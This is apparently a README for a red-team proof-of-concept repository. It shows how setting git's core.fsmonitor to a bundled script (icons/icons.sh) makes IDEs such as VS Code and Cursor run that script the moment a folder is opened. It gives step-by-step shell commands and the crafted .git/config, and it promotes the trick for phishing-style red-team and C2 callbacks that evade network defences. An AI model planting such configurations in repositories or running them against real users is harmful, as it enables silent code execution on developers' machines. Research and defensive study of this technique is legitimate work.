This is a documented (known) issue, but I found this during my research & its pretty useful for RT/PT.

Summary: The FSMonitor helper is executed by git on every command like git status, git diff, etc., hence git will blindly launch whatever path we specfic there. Our IDEs runs git status automatically the moment you open a folder to populate its SCM (Source Control Management) panel;

Which allows git to spawn the configured helper which executes attacker controlled code. This tradecraft can be used during RT or in a assume-breach scenario with any C2 or our XRayC2 to get a callback that evades traditional network defenses. (Ofcourse, phishing emails are required to trick end user, but opening a folder in IDE seems a fair operation).

Proof-of-work, git clone this repo add the below config under your .git directory. Once done open the crafted folder with IDE, a calculator should pop. (I have tested this with Code & Cursor). This POC is macOS specfic modify it according to your env.

bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
	fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store    config       description  HEAD         hooks/       info/        objects/     refs/        
bash-3.2$

Tested on Code

Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0

https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96

This works because we initialize the repo & then add core.fsmonitor to a file (which can be a payload). Hence, opening a folder is enough to execute your code. "Most" devs/users have ~/Downloads (and similar top-level folders) in their trusted workspace so the PoC runs silently; but if a repo lives outside those trusted paths so IDE will ask “trust this publisher?” prompt before reading .git/config.

git-fsmonitor

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